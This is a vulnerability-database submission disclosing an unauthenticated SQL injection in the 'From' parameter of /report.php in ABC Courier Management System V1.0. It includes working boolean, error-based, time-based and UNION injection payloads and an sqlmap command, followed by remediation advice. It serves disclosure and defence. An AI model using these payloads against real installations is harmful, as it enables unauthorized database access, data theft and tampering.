Submit #622432: 1000projects ABC Courier Management System Project V1.0 SQL Injectioninfo

Title1000projects ABC Courier Management System Project V1.0 SQL Injection
DescriptionProjectworlds ABC Courier Management System Project V1.0 /report.php SQL injection NAME OF AFFECTED PRODUCT(S) ABC Courier Management System Vendor Homepage https://1000projects.org/ AFFECTED AND/OR FIXED VERSION(S) submitter yinxingyu Vulnerable File /report.php VERSION(S) V1.0 Software Link https://1000projects.org/abc-courier-management-system-php-project.html PROBLEM TYPE Vulnerability Type SQL injection Root Cause A SQL injection vulnerability was found in the '/report.php ' file of the 'ABC Courier Management System' project. The reason for this issue is that attackers inject malicious code from the parameter 'From‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. Impact Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. DESCRIPTION During the security review of "ABC Courier Management System",I discovered a critical SQL injection vulnerability in the "/report.php " file. This vulnerability stems from insufficient user input validation of the 'From' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. No login or authorization is required to exploit this vulnerability Vulnerability details and POC Vulnerability lonameion: 'From' parameter Payload: Parameter: MULTIPART From ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="From" -9749' OR 8019=8019# -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="to" 0011-11-01 -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="applybranch" -----------------------------197508757836660151772967715685-- Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="From" 1111-11-01' OR (SELECT 7418 FROM(SELECT COUNT(*),CONCAT(0x717a7a7071,(SELECT (ELT(7418=7418,1))),0x71716a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Bfax -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="to" 0011-11-01 -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="applybranch" -----------------------------197508757836660151772967715685-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="From" 1111-11-01' AND (SELECT 8355 FROM (SELECT(SLEEP(5)))dDLs)-- ZDdd -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="to" 0011-11-01 -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="applybranch" -----------------------------197508757836660151772967715685-- Type: UNION query Title: MySQL UNION query (NULL) - 19 columns Payload: -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="From" 1111-11-01' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a7071,0x634a7277794a79684c4950736e7457586d4d47546769766866624755524150614463466462475773,0x71716a7a71),NULL,NULL,NULL,NULL# -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="to" 0011-11-01 -----------------------------197508757836660151772967715685 Content-Disposition: form-data; name="applybranch" -----------------------------197508757836660151772967715685-- The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: sqlmap -u "http://10.20.33.16/admin/report.php " --data="name="From"" --dbs <img width="2096" height="822" alt="Image" src="https://github.com/user-attachments/assets/d4d32480-3b8b-4972-b44e-9adcaee26541" /> Suggested repair 1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. 3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Source⚠️ https://github.com/online-Y/CVE/issues/1
User
 yinxingyu (UID 88185)
Submission07/25/2025 15:21 (9 months ago)
Moderation07/26/2025 15:46 (1 day later)
StatusAccepted
VulDB entry317829 [1000 Projects ABC Courier Management System 1.0 /report.php From sql injection]
Points20

Interested in the pricing of exploits?

See the underground prices here!